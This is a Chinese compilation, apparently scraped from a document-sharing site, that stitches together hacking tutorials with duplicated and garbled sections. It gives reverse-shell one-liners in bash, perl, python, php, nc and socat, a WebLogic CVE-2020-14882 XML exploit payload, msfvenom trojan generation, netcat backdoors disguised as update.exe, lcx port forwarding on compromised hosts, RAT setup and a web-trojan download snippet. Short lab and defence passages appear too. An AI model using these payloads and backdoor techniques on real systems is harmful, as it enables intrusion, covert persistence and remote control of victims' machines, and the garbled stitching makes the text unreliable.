利用NC来制作自己的反弹木马
- 格式:doc
- 大小:1.88 MB
- 文档页数:9
NC连接实验实验内容与步骤:【实验步骤】⼀、获得远程主机的shell使⽤已知的⽅法获取远程主机的Shell(利⽤实验台实验时可以直接利⽤实验台的实验⼯具箱下载nc程序,可跳过1、2步)。
⼆、拷贝nc程序命令⾏下拷贝远程⽂件主要有以下⼏种⽅法:(1)ftp服务,在远程命令⾏下使⽤ftp命令下载⽂件,ftp使⽤TCP协议作为⽂件传输协议。
(2)tftp服务,tftp类似于FTP,它使⽤UDP协议作为传输协议。
(3)共享⽬录拷贝。
三、运⾏ncNC功能强⼤,可以运⾏在监听状态,等待远程连接,从⽽起到后门的作⽤,具体命令如下:nc –l –p 999 –vv –e cmd.exe ,其中999为本地监听的供远程主机连接的端⼝,如下图所⽰。
图3.5.8-2四、远程连接本地使⽤Telnet连接远程nc所监听的999端⼝,如下图所⽰。
图3.5.8-3稍等⼏秒钟,则会显⽰远程主机的命令⾏,如下图所⽰。
图3.5.8-4同时远程主机中也会提⽰当前连接状态,如图3.5.8-5所⽰。
图3.5.8-5五、AT命令(1)定时关机在本地的telnet窗⼝内输⼊命令:at 14:40 shutdown –s –t 40该命令运⾏后,到了14:40点,实验台会出现“系统关机”对话框,并默认40秒延时⾃动关机。
图3.5.8-6图3.5.8-7(2)取消已经安排的计划命令:at 1 /Delete1为指派给已计划命令的标识编号,这样既可删除计划<灰鸽⼦远程控制软件>【实验步骤】⼀、⽊马制作启动实验台,并设置实验台的IP地址,以实验台为⽬标主机进⾏攻防试验。
(1)在学⽣客户端,下载⽊马制作程序,打开客户端程序(可能需退出安全程序),灰鸽⼦客户端的操作界⾯如下图所⽰。
图3.5.8-9⾸先需要配置服务程序。
点击“配置服务程序”,出现如下图所⽰的界⾯。
图3.5.8-10在“⾃动上线设置”⾥,填写上“IP通知http访问地址、DNS解析域名或固定IP地址,然后设置连接密码,如下图所⽰。
CVE-2020-14882漏洞复现(反弹shell)⼀、漏洞描述2020年10⽉28⽇,Oracle发布的10⽉安全更新中的Oracle WebLogic Server 远程代码执⾏漏洞(CVE-2020-14882)POC被公开,远程攻击者可以通过发送恶意的影响版本WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0⼆、漏洞环境搭建需要准备的⼯具如下:1.docker+vulhub漏洞库2.kali虚拟机3.靶机Ubuntu18.04虚拟机(其他也可以)4.Burpsuite打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进⼊环境,没有的话先安装docker和下载vulhub漏洞库(⽹上教程很多,这⾥就不多介绍了)root@admin666-virtual-machine:~/vulhub/weblogic/CVE-2020-14882#执⾏命令 docker-compose up -droot@admin666-virtual-machine:~/vulhub/weblogic/CVE-2020-14882# docker-compose up -d三、漏洞利⽤漏洞2:利⽤xml反弹shell<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="/schema/beans"xmlns:xsi="/2001/XMLSchema-instance"xsi:schemaLocation="/schema/beans /schema/beans/spring-beans.xsd"><bean id="pb" class="ng.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/ip/port 0>&1]]></value></list></constructor-arg></bean></beans>⽽后打开kali,访问构造好的payload(这⾥将包放在Burp中),使⽤nc监听反弹端⼝即可成功反弹shell四、关闭docker环境docker-compose down。
反弹shell利⽤⽅式反弹shell1.bash反弹攻击机监听端⼝netcat: nc -nvlp 4444-n: 不反向解析dns,即不通过ip解析域名 no dns-v: 详细信息输出 verbose-l: 监听 listen-p: 指定端⼝ port靶机执⾏shell命令bash -i >& /dev/tcp/攻击机ip/攻击机port 0>&1bash -i:交互式shell>& :输⼊输出重定向:0 stdin, 1 stdout, 2 stderr/dev/tcp/ip/port: 特殊⽂件注: /dev/tcp/ 是Linux中的⼀个特殊设备,打开这个⽂件就相当于发出了⼀个socket调⽤,建⽴⼀个socket连接,读写这个⽂件就相当于在这个socket连接中传输数据。
同理,Linux中还存在/dev/udp/。
2.telnet反弹攻击机监听端⼝启动两个终端netcat: nc -nvlp 4444netcat: nc -nvlp 5555靶机telnet反弹shelltelnet 攻击机ip 4444 | /bin/bash | telnet 攻击机ip 5555注:bash进程的 0 ,1 :stdin,stdout 标准输⼊输出描述符都重定向到pipe,关联两个telnet进程,两个telnet进程分别与攻击机两个端⼝建⽴了socket连接3.nc(netcat)反弹攻击机监听端⼝nc -nvlp 4444靶机连接端⼝并反弹shellnc -v 攻击机ip 4444 -e /bin/bash-e: 指定nc连接成功后执⾏的程序4.perl反弹攻击机监听端⼝nc -nvlp 4444靶机perl反弹shellperl -e 'use Socket;$i="攻击机ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};5.python反弹攻击机监听端⼝nc -nvlp 4444靶机python反弹shellpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);6.php反弹攻击机监听端⼝nc -nvlp 4444靶机php反弹shellphp -r '$sock=fsockopen("攻击机ip",4444);exec("/bin/bash -i <&3 >&3 2>&3");'7.msf ⽣成⽊马反弹shellmsfvenom ⽣成⽊马1. ⽣成php反弹⽊马:msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f raw > /root/shell.php2. ⽣成windows反弹⽊马:msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f exe > /root/hacker.exe3. ⽣成linux反弹⽊马:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f elf > /root/shellmsfconsole 控制台监听1. 选择监听模块:use exploit/multi/handler2. 设置payload反弹:set payload windows/meterpreter/reverse_tcp注:此处为⽣成⽊马payload3. 设置LHOST、LPORT参数:set LHOST 攻击机ip set LPORT 监听端⼝注:和⽣成⽊马设置对应4. exploit 或 run 开始攻击,进⾏监听5. 等待靶机运⾏⽊马,msf产⽣session会话msfvenom 命令参数: -p, --payload <payload> 指定需要使⽤的payload(攻击荷载)。
如果你访问××网站(国内某门户网站),你就会中灰鸽子木马。
这是我一黑客朋友给我说的一句说。
打开该网站的首页,经检查,我确实中了灰鸽子。
怎么实现的呢?他说,他侵入了该网站的服务器并在网站主页上挂了网页木马;一些安全专家常说,不要打开陌生人发来的网址,为什么?因为该网址很有可能就是一些不怀好意者精心制作的网页木马。
以上只是网页木马的两种形式,实际上网页木马还可以挂在多媒体文件(RM、RMVB、WMV、WMA、Flash)、电子邮件、论坛等多种文件和场合上。
很可怕吧,那么用户如何防范网页木马呢?下面我们就先从网页木马的攻击原理说起。
一、网页木马的攻击原理首先明确,网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。
为什么说是黑客精心制作的呢?因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。
有朋友会说,打开一个网页,IE浏览器真的能自动下载程序和运行程序吗?如果IE真的能肆无忌惮地任意下载和运行程序,那天下还不大乱。
实际上,为了安全,IE浏览器是禁止自动下载程序特别是运行程序的,但是,IE浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。
下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。
⒈自动下载程序<SCRIPT LANGUAGE="icyfoxlovelace"src="/1.exe"></SCRIPT>小提示:代码说明a. 代码中“src”的属性为程序的网络地址,本例中“/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序,这段代码能让网页下载该程序到浏览它的电脑上。
实验指导5 木马攻击与防范实验1.实验目的理解和掌握木马传播和运行的机制,掌握检查和删除木马的技巧,学会防御木马的相关知识,加深对木马的安全防范意识。
2.预备知识木马及木马技术的介绍(1)木马概念介绍很多人把木马看得很神秘,其实,木马就是在用户不知道的情况下被植入用户计算机,用来获取用户计算机上敏感信息(如用户口令,个人隐私等)或使攻击者可以远程控制用户主机的一个客户服务程序。
这种客户/服务模式的原理是一台主机提供服务(服务器),另一台主机使用服务(客户机)。
作为服务器的主机一般会打开一个默认的端口并进行监听(Listen),如果有客户机向服务器的这一端口提出连接请求(Connect Request),服务器上的相应守护进程就会自动运行,来应答客户机的请求。
通常来说,被控制端相当于一台服务器,控制端则相当于一台客户机,被控制端为控制端提供预定的服务。
(2)木马的反弹端口技术由于防火墙对于进入的链接往往会进行非常严格的过滤,但是对于连出的链接却疏于防范。
于是,与一般的木马相反,反弹端口型木马的服务端 (被控制端)使用主动端口,客户端 (控制端)使用被动端口。
木马定时监测控制端的存在,发现控制端上线立即弹出端口主动连结控制端打开的主动端口;为了隐蔽起见,控制端的被动端口一般开在80,这样,即使用户使用端口扫描软件检查自己的端口,发现的也是类似TCP UserIP:1026 ControllerIP:80 ESTABLISHED 的情况,稍微疏忽一点,你就会以为是自己在浏览网页。
(3)线程插入技术木马程序的攻击性有了很大的加强,在进程隐藏方面,做了较大的改动,不再采用独立的EXE可执行文件形式,而是改为内核嵌入方式、远程线程插入技术、挂接PSAPI等。
这样木马的攻击性和隐藏性就大大增强了。
木马攻击原理特洛伊木马是一个程序,它驻留在目标计算机里,可以随计算机自动启动并在某一端口进行侦听,在对接收的数据识别后,对目标计算机执行特定的操作。
三个入侵的必备小工具-lcx.exe、nc.exe、sc.exelcx.exe的使用方法以前抓肉鸡都是通过1433弱口令,然后..但是发现很多服务器开了1433,3389,但是终端是连不上的,因为服务器本身是在内网,只对外开放了1433端口,幸好有lcx.exe这个东西,用sqltools.exe传倒服务器上...lcx.exe是个端口转发工具,相当于把肉鸡A上的3389端口转发到B机上,当然这个B机必须有外网IP.这样链接B机的3389度端口就相当于链接A机的3389.用法:如在本机B上监听 -listen 51 3389,在肉鸡A上运行-slave 本机ip 51 肉鸡ip 3389 那么在本地连127.0.0.1就可以连肉鸡的3389.第二条是本机转向。
例:现在有一个ip为 201.1.1.1的1433弱.用端口扫描只发现开放了1433端口.用sqltools链接,dir 看一下 C:\>DIR C:\2004/09/17 10:32 <DIR> autoAK2005/02/21 17:08 12,541 avgun.log。
日语,显示不正常.呵呵.netstat -an 查看开放端口 TCP 0.0.0.0:3376 0.0.0.0:0 LISTENINGTCP 0.0.0.0:3389 0.0.0.0:0 LISTENINGTCP 0.0.0.0:3791 0.0.0.0:0 LISTENINGTCP 0.0.0.0:3877 0.0.0.0:0 LISTENING终端已开.看下IPipconfigC:\>ipconfigWindows 2000 IP Configuration Ethernet adapterConnection-specific DNS Suffix . :IP Address. . . . . . . . . . . . : 192.168.1.24Subnet Mask . . . . . . . . . . . : 255.255.255.0Default Gateway . . . . . . . . . : 192.168.1.1192这样的是内网了... 现在可以用lcx.exe搞定了...上传lcx.exe到肉鸡...C:\>dir lcx.exeC:\WINNT\system322006/04/02 13:40 32,768 lcx.exe首先在自己机子的cmd下运行lcx.exe -listen 51 3389意思是监听51端口并转发到3389端口显示如下[+] Listening port 51 ......[+] Listen OK![+] Listening port 3389 ......[+] Listen OK![+] Waiting for Client on port:51 ......然后在肉鸡上运行 lcx.exe -slave 你的IP 51 201.1.1.1 3389201.1.1.1是我举例用的肉鸡IP.换成你的..运行以后本机监听端口就会收到信息.[+] Listening port 51 ......[+] Listen OK![+] Listening port 3389 ......[+] Listen OK![+] Waiting for Client on port:51 ......[+] Accept a Client on port 55 from 201.1.1.1 ......[+] Waiting another Client on port:3389....好了.现在在自己机子上链接127.0.0.1 或者输你自己IP.发现进去的不是自己机子,(或者自己机子根本连不上),而是肉鸡A了!优点,搞定内网肉鸡.缺点,有点麻烦,而且每次都要通过sqltools先进行端口转发.当然也可以用反弹木马控制肉鸡了...nc.exe的使用方法1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息2. Netcat 1.10 for NT 帮助信息3. Netcat 1.10 常用的命令格式4. 管理肉鸡,更改肉鸡设置5. 下载连接##################################################################### #1. Netcat 1.10 for NT - nc11nt.zip##################################################################### #Basic Features* Outbound or inbound connections, TCP or UDP, to or from any ports * Full DNS forward/reverse checking, with appropriate warnings* Ability to use any local source port* Ability to use any locally-configured network source address* Built-in port-scanning capabilities, with randomizer* Can read command line arguments from standard inputb* Slow-send mode, one line every N seconds* Hex dump of transmitted and received data* Ability to let another program service establishedconnections* Telnet-options responderNew for NT* Ability to run in the background without a console window* Ability to restart as a single-threaded server to handle a new connection_____________________________________________________________________ ___Some of the features of netcat are:Outbound or inbound connections, TCP or UDP, to or from any ports Full DNS forward/reverse checking, with appropriate warningsAbility to use any local source portAbility to use any locally-configured network source addressBuilt-in port-scanning capabilities, with randomizerBuilt-in loose source-routing capabilityCan read command line arguments from standard inputSlow-send mode, one line every N secondsOptional ability to let another program service inbound connections Some of the potential uses of netcat:Script backendsScanning ports and inventorying servicesBackup handlersFile transfersServer testing and simulationFirewall testingProxy gatewayingNetwork performance testingAddress spoofing testsProtecting X servers1001 other uses you`ll likely come up withNetcat + Encryption = Cryptcat对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.1.1 NC.EXE是一个非标准的telnet客户端程序,1.2 还有一个putty.exe客户端程序,提供四种连接模式-raw -telnet -rlogin -ssh.##################################################################### #2. Netcat 1.10 for NT 帮助信息##################################################################### #C:\WINDOWS\Desktop>nc -h[v1.10 NT]connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [options] [hostname] [port] options:-d detach from console, background mode (后台模式)-e prog inbound program to exec [dangerous!!]-g gateway source-routing hop point[s], up to 8-G num source-routing pointer: 4, 8, 12, ...-h this cruft (本帮助信息)-i secs delay interval for lines sent, ports scanned (延迟时间)-l listen mode, for inbound connects (监听模式,等待连接)-L listen harder, re-listen on socket close (连接关闭后,仍然继续监听) -n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)-o file hex dump of traffic (十六进制模式输出文件,三段)-p port local port number (本地端口)-r randomize local and remote ports (随机本地远程端口)-s addr local source address (本地源地址)-t answer TELNET negotiation-u UDP mode-v verbose [use twice to be more verbose] (-vv 更多信息)-w secs timeout for connects and final net reads-z zero-I/O mode [used for scanning] (扫描模式,-vv)port numbers can be individual or ranges: m-n [inclusive]##################################################################### #3. Netcat 1.10 常用的命令格式##################################################################### #下面引用《沉睡不醒 10月15日凌晨》的文章的部分。
nc的使用实例NC.exe为一款经典的监听工具nc的使用实例c:\nc.exe -l -p 4455 -d -e cmd.exe 可以很好的隐藏一个NetCat后门。
c:\nc.exe -p 4455 -d -L -e cmd.exe 这个命令可以让黑客利用NetCat重新返回系统,直到系统管理员在任务管理器中看见nc.exe在运行,从而发现这个后门,我们一样可以把它做的更加隐蔽,c:\move nc.exe c:\windows\system32\Drivers\update.exec:\windows\systeme32\drivers\update.exe -p 4455 -d -L -e cmd.exe系统管理员可能把特权附属于一些无害的程序,如update.exe等,黑客也可以隐藏命令行。
c:\windows\systme32\drivers\update.execmd line: -l -p 4455 -d -L -e cmd.exec:\>nc -l - p 80 监听80端口nc -l -p 80 >c:\log.dat 监听80端口,并把信息记录到log.dat中nc -v -l -p 80 监听80端口,并显示端口信息nc -vv -l -p 80 监听80端口,显示更详细的端口信息nc -l -p 80 -t -e cmd.exe监听本地的80端口的入站信息,同时将cmd.exe重定向到80端口,当有人连接的时候,就让cmd.exe以telnet的形式应答。
当然这个最好用在控制的肉鸡上。
nc -v ip port 扫瞄某IP的某个端口nc -v -z ip port-port扫描某IP的端口到某端口nc -v -z -u ip port-port扫描某IP的某UDP端口到某UDP端口NC详细用法2009-02-18 16:36-h 查看帮助信息-d 后台模式-e prog程序重定向,一但连接就执行[危险]-i secs延时的间隔-l 监听模式,用于入站连接-L 监听模式,连接天闭后仍然继续监听,直到CTR+C-n IP地址,不能用域名-o film记录16进制的传输-p [空格]端口本地端口号-r 随机本地及远程端口-t 使用Telnet交互方式-u UDP模式-v 详细输出,用-vv将更详细-w 数字timeout延时间隔-z 将输入,输出关掉(用于扫锚时)先讲讲一些简单的用法:nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口nc -l -p 80 开启本机的TCP 80端口并监听nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口高级用法:nc -L -p 3389 做蜜罐,不停地监听3389端口nc -L -p 3389>c:\log.txt 做蜜罐,不停地监听3389端口,同时把结果输出到c:\log.txtnc -L -p 3389<c:\ftp.txt 不停地监听3389端口,并把c:\ftp.txt中内容发给连接本端口的主机,可起到传送文件作用.(此用法经常用于反向溢出)nc -l -p 2008 -t -e cmd.exe 绑定主机的cmd到2008端口,并以TELNET方式应答。
利用NC来制作自己的反弹木马免责申明:我也是第一次公开写这样的东西,不过写此文的目的是为了技术上的研究,把我自己的一些方法和技巧讲出来,和大家一起探讨,希望大家能提出意见.并不是教大家如何利用此方法去破坏别人的电脑!请不要用于非法目的,否则一切责任自负与我无关,呵呵~~~我可不想做黑鹰的大米呀.一、必须掌握的基础知识;NC这个工具对于一个黑客来说再熟悉不过了,可以说是每个黑客必备工具之一,被称做黑客的一把瑞士军刀!可见其地位之高.大家有兴趣的话自己去看一下有关NC的一些详细用法吧,我在这里就不多说了,这不是我这次要讲的主题,我只把其中我用到的一些参数介绍给大家.NC并不是一个图形界面的工具,但它有很强大的正向链接、反向链接、扫描和监听PORT等功能!对于木马,它的种类也有很多,但最让人喜欢的还是具有反弹功能的木马,它可以让我们一劳永逸,一次种植成功以后便自动找上门来,呵呵~~~事半功倍呀!这也是我喜欢反向链接木马的一个原因。
(对于正向链接我最喜欢的一个工具就是radmin,原因就是它不会被杀。
)至于如何让别人中了你的木马、如何去入侵对方,然后给他种马我就不说了(这也不是我这次要说的主题)方法和手法有很多,就看你的技术了。
当你成功入侵一台机子后,你想做的事当然是永远的抓住它,不要让他轻易的溜走,那就赶快上传你自己的木马吧!这是我的通常做法。
这时一个优秀的木马会给我们很大帮助。
还是来说NC吧。
它的使的格式是这样的,在CMD下输入:NC.EXE [参数1] [参数2] …… 主机名(或IP)。
NC有很多的参数,它的功能就体现在这些参数上。
这里有几个要用到的、必需掌握的参数给大家简略的介绍一下:-l监听模式,可以监听本地的PORT即端口;-p设置端口,后加端口号;-v显示详细信息,-vv显示更详细信息;-t 以telnet交互方式来回应;-e程序重定向,可以把目标机的CMD重定向到一个端口上,然后我们在本机进行监听,这样就可以得到目标机的SHELL了,具体看后面我讲的例子吧;-d后台模式;主要的参数就这么多吧,我们通过下面的例子来一步一步学习吧!二、简单的几个例子;例如对本机TCP端口90的监听:nc.exe -l -v -p 90 127.0.0.1 意思是临听本机的TCP端口90(如图1)。
木马的常用伪装手段在网络安全领域,木马是一种恶意软件,可以在不被用户察觉的情况下悄悄地进入计算机系统,实现盗取用户信息、破坏系统的行为。
因此,木马程序的伪装手段非常重要,可以使其更容易地潜入计算机系统。
以下是一些常用的木马伪装手段:1. 伪装成正常程序许多木马程序被设计成伪装成常见的软件或系统组件,例如浏览器插件、媒体播放器、下载器等,以此混淆用户的视觉,避免受到用户的怀疑,从而更容易渗透进入用户的系统。
2. 终端木马伪装终端木马常被伪装成程序源码、编译工具或其它网络安全工具来骗取用户信任,而终端木马常常伴随着对受害者机器的远程控制,拥有非常广泛的攻击能力。
3. 使用非常规的文件扩展名很多木马程序使用并不常见的文件扩展名,比如".txt"、".jpg"、".pdf"等,以绕过一些计算机安全防护软件的检测。
在实际应用过程中,我们应该避免打开不熟悉的文件。
4. 嵌入宏或脚本很多木马程序将自己嵌入到宏或脚本中,然后利用漏洞自动执行,从而绕过了常规的安全检测。
例如,利用办公软件(Word、Excel等)中的宏病毒的攻击方式。
5. 嵌入加密模块有些木马程序会嵌入加密模块,使得其内容在传输过程中无法被轻易识别和拦截,从而达到对计算机系统的“偷窃”。
综上所述,木马程序有很多伪装手段,其中有些是非常难以被发现的。
因此,我们需要时刻保持警惕,使用网络安全软件来防范这些木马程序的攻击,同时也需要提高自己的网络安全意识,确保个人计算机和重要信息的安全。
除了上述常用的木马伪装手段,还有一些更高级的木马伪装手段。
这些高级伪装手段越来越普遍,它们可以更好地欺骗人们的眼睛和虚拟机器的安全防御。
以下是一些高级木马伪装技术:1. 避免反病毒软件现在的反病毒软件具有越来越高的检测能力,它们能够及时发现木马程序并抵御攻击。
因此,一些高级的木马程序会通过加密自己来避免反病毒软件的检测与抵抗。
想要连接到某处: nc [-options] hostname port[s] [ports] …绑定端口等待连接: nc -l -p port [-options] [hostname] [port] 参数:-e prog 程序重定向,一旦连接,就执行 [危险!!]-g gateway source-routing hop point[s], up to 8-G num source-routing pointer: 4, 8, 12, …-h 帮助信息-i secs 延时的间隔-l 监听模式,用于入站连接-n 指定数字的IP地址,不能用hostname-o file 记录16进制的传输-p port 本地端口号-r 任意指定本地及远程端口-s addr 本地源地址-u UDP模式-v 详细输出——用两个-v可得到更详细的内容-w secs timeout的时间-z 将输入输出关掉——用于扫描时其中端口号可以指定一个或者用lo-hi式的指定范围。
例如:扫描端口tcp扫描C:nc>nc -v -z -w2 192.168.0.80 1-140net [192.168.0.80] 140 (?)net [192.168.0.80] 139 (netbios-ssn) opennet [192.168.0.80] 138 (?)net [192.168.0.80] 137 (netbios-ns)net [192.168.0.80] 136 (?)net [192.168.0.80] 135 (epmap) opennet [192.168.0.80] 81 (?) opennet [192.168.0.80] 80 (http) opennet [192.168.0.80] 79 (finger)net [192.168.0.80] 25 (smtp) opennet [192.168.0.80] 24 (?)net [192.168.0.80] 23 (telnet)net [192.168.0.80] 21 (ftp)udp扫描C:nc>nc -u -v -z -w2 192.168.0.80 1-140net [192.168.0.80] 140 (?) opennet [192.168.0.80] 139 (?) opennet [192.168.0.80] 138 (netbios-dgm) opennet [192.168.0.80] 137 (netbios-ns) opennet [192.168.0.80] 54 (?) opennet [192.168.0.80] 53 (domain) opennet [192.168.0.80] 38 (?) opennet [192.168.0.80] 37 (time) opennet [192.168.0.80] 7 (echo) open1.IE的MIME欺骗这个网站目录提供了黑客的n关,过了这n关证明你开始入门了。
反弹shell的常用命令反弹shell是一种常见的攻击技术,它可以让攻击者在未经授权的情况下远程控制受害者的计算机。
为了反弹shell,攻击者需要在受害者的计算机上运行一个恶意程序,该程序将与攻击者的计算机建立连接并启动一个shell。
以下是反弹shell的常用命令:1. nc命令nc命令是反弹shell的最常用命令之一。
它是一个网络工具,可以用于创建TCP或UDP连接。
攻击者可以使用nc命令在受害者的计算机上启动一个监听器,并将其连接到攻击者的计算机上。
以下是nc命令的语法:攻击者的计算机:nc -lvp <端口号>受害者的计算机:nc <攻击者的IP地址> <端口号> -e /bin/bash2. socat命令socat命令是另一个常用的反弹shell命令。
它是一个多功能的网络工具,可以用于创建各种类型的连接。
攻击者可以使用socat命令在受害者的计算机上启动一个监听器,并将其连接到攻击者的计算机上。
以下是socat命令的语法:攻击者的计算机:socat file:`tty`,raw,echo=0 tcp-listen:<端口号>受害者的计算机:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<攻击者的IP地址>:<端口号>3. bash命令bash命令是一个常用的shell程序,可以用于在Linux系统上执行命令。
攻击者可以使用bash命令在受害者的计算机上启动一个监听器,并将其连接到攻击者的计算机上。
以下是bash命令的语法:攻击者的计算机:nc -lvp <端口号>受害者的计算机:bash -i >& /dev/tcp/<攻击者的IP地址>/<端口号> 0>&14. python命令python命令是一个常用的脚本语言,可以用于编写各种类型的程序。
nc命令总结1、远程拷贝⽂件从server1拷贝⽂件到server2上。
需要先在server2上,⽤nc激活监听,server2上运⾏:引⽤[root@hatest2 tmp]# nc -l 1234 > install.logserver1上运⾏:引⽤[root@hatest1 ~]# ll install.log-rw-r–r– 1 root root 39693 12⽉ 20 2007 install.log[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log2、克隆硬盘或分区操作与上⾯的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。
克隆硬盘或分区的操作,不应在已经mount的的系统上进⾏。
所以,需要使⽤安装光盘引导后,进⼊拯救模式(或使⽤⼯具光盘)启动系统后,在server2上进⾏类似的监听动作:# nc -l 1234 | dd of=/dev/sdaserver1上执⾏传输,即可完成从server1克隆sda硬盘到server2的任务:# dd if=/dev/sda | nc 192.168.228.222 1234※完成上述⼯作的前提,是需要落实光盘的拯救模式⽀持服务器上的⽹卡,并正确配置IP。
3、端⼝扫描可以执⾏:引⽤# nc -v -w 1 192.168.228.222 -z 1-1000hatest2 [192.168.228.222] 22 (ssh) open4、保存Web页⾯# while true; do nc -l -p 80 -q 1 < somepage.html; done5、模拟HTTP Headers引⽤[root@hatest1 ~]# nc 80GET / HTTP/1.1Host: Referrer: User-Agent: my-browserHTTP/1.1 200 OKDate: Tue, 16 Dec 2008 07:23:24 GMTServer: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/Expires: 0Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheCache-Control: private, post-check=0, pre-check=0, max-age=0Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/Vary: Accept-EncodingTransfer-Encoding: chunkedContent-Type: text/html[......]在nc命令后,输⼊红⾊部分的内容,然后按两次回车,即可从对⽅获得HTTP Headers内容。
利用NC来制作自己的反弹木马免责申明:我也是第一次公开写这样的东西,不过写此文的目的是为了技术上的研究,把我自己的一些方法和技巧讲出来,和大家一起探讨,希望大家能提出意见.并不是教大家如何利用此方法去破坏别人的电脑!请不要用于非法目的,否则一切责任自负与我无关,呵呵~~~我可不想做黑鹰的大米呀.一、必须掌握的基础知识;NC这个工具对于一个黑客来说再熟悉不过了,可以说是每个黑客必备工具之一,被称做黑客的一把瑞士军刀!可见其地位之高.大家有兴趣的话自己去看一下有关NC的一些详细用法吧,我在这里就不多说了,这不是我这次要讲的主题,我只把其中我用到的一些参数介绍给大家.NC并不是一个图形界面的工具,但它有很强大的正向链接、反向链接、扫描和监听PORT等功能!对于木马,它的种类也有很多,但最让人喜欢的还是具有反弹功能的木马,它可以让我们一劳永逸,一次种植成功以后便自动找上门来,呵呵~~~事半功倍呀!这也是我喜欢反向链接木马的一个原因。
(对于正向链接我最喜欢的一个工具就是radmin,原因就是它不会被杀。
)至于如何让别人中了你的木马、如何去入侵对方,然后给他种马我就不说了(这也不是我这次要说的主题)方法和手法有很多,就看你的技术了。
当你成功入侵一台机子后,你想做的事当然是永远的抓住它,不要让他轻易的溜走,那就赶快上传你自己的木马吧!这是我的通常做法。
这时一个优秀的木马会给我们很大帮助。
还是来说NC吧。
它的使的格式是这样的,在CMD下输入:NC.EXE [参数1] [参数2] ……主机名(或IP)。
NC有很多的参数,它的功能就体现在这些参数上。
这里有几个要用到的、必需掌握的参数给大家简略的介绍一下:-l监听模式,可以监听本地的PORT即端口;-p设置端口,后加端口号;-v显示详细信息,-vv显示更详细信息;-t 以telnet交互方式来回应;-e程序重定向,可以把目标机的CMD重定向到一个端口上,然后我们在本机进行监听,这样就可以得到目标机的SHELL了,具体看后面我讲的例子吧;-d后台模式;主要的参数就这么多吧,我们通过下面的例子来一步一步学习吧!二、简单的几个例子;例如对本机TCP端口90的监听:nc.exe -l -v -p 90 127.0.0.1 意思是临听本机的TCP 端口90(如图1)。
(在这里如果是本机的话,可以省去主机名或IP,即不写127.0.0.1这时默认就是本机。
还有默认情况下-p端口就指的是TCP如果要临听UDP端口,则要加-u参数!)我们来验证一下结果,看是不是真的监听我们本机的90端口,先不运行NC我们用netstat -an这个命令来查看一下本机的端口,结果(如图2)没有发现TCP90端口被开放,我们运行nc.exe -l -v -p 90这样一个命令后,这时不要关闭这个监听窗口,再开一个CMD,然后再用nbtstat -an来查看本机所开放的端口,这时会发现TCP90端口被打开(如图3)如果你有fport这个工具的话,你还可以进一步查看到是哪个程序打开了本机TCP90端口!(如图4)(关于nbtstat和fport我就不做介绍了)。
先来看一个正向链接的例子,当我们成功进入别人的机子并上传了NC后,可以用这样一个命令来实现正向链接,(假设目标机的IP为222.91.203.208)在目标机上运行nc 127.0.0.1 123 -e cmd.exe即把它的cmd定向到它自己的123端口上。
那么我们在本机上就可以用nc -l -v 222.91.203.208 -p 123来监听它的123端口,从而得到对方的cmd。
或者用这样简单的命令来把CMD定向到99端口:nc -l -p 99 -t -e cmd.exe 然后我们在本机上用telnet来链接目标机,同样可以得到对方的shell.比如目标机的IP为:192.168.199.1,那么我们用telnet 192.168.199.1 99来链接对方!(如图5).以上就是两个正向链接的例子,其实也很简单,相信到此大家对nc应该有了一个大概的了解了吧?接下来我想重点说说它的反向链接功能。
